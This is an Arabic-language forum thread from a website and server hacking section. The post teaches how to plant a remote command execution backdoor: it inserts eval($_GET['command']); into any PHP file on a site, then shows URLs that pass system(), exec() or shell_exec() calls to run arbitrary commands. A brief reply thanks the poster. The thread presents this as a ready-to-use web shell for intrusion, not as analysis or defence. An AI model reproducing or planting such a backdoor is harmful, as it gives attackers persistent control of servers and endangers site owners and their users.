development-point - زرع ثغره Remote Command Execution بطريقه سهله

development-point (https://vb.development-point.com/index.php)

- قسم اختراق المواقع والسيرفرات (https://vb.development-point.com/forumdisplay.php?f=44)

- - زرع ثغره Remote Command Execution بطريقه سهله (https://vb.development-point.com/showthread.php?t=20151)

زرع ثغره Remote Command Execution بطريقه سهله

بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته

تعريف الثغره للي ما يعرفها
الثغره تسمح لك بتنفيذ أوامر مباشره على السيرفر عن بعد !

أفتح أي ملف بالموقع وأضيف هذا السطر

كود PHP:

eval($_GET['command']);

الاستغلال :
كود PHP:

http://site.com/file.php?command=system('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=exec('XX');

وإذا ما نفع جرب :
كود PHP:

http://site.com/file.php?command=shell_exec('XX');

واستبدل XX بألامر اللي تبغى تنفذه .. والنتيجه راح تظهر بالمتصفح ::
وطبعاً استبدل site.com بدومين الموقع وfile.php بإسم الملف اللي وضعت فيه السطر ::

رد: زرع ثغره Remote Command Execution بطريقه سهله

شكراً على مرورك يا بعدي ان شاء الله الفآئده لكم لي الشبآب:~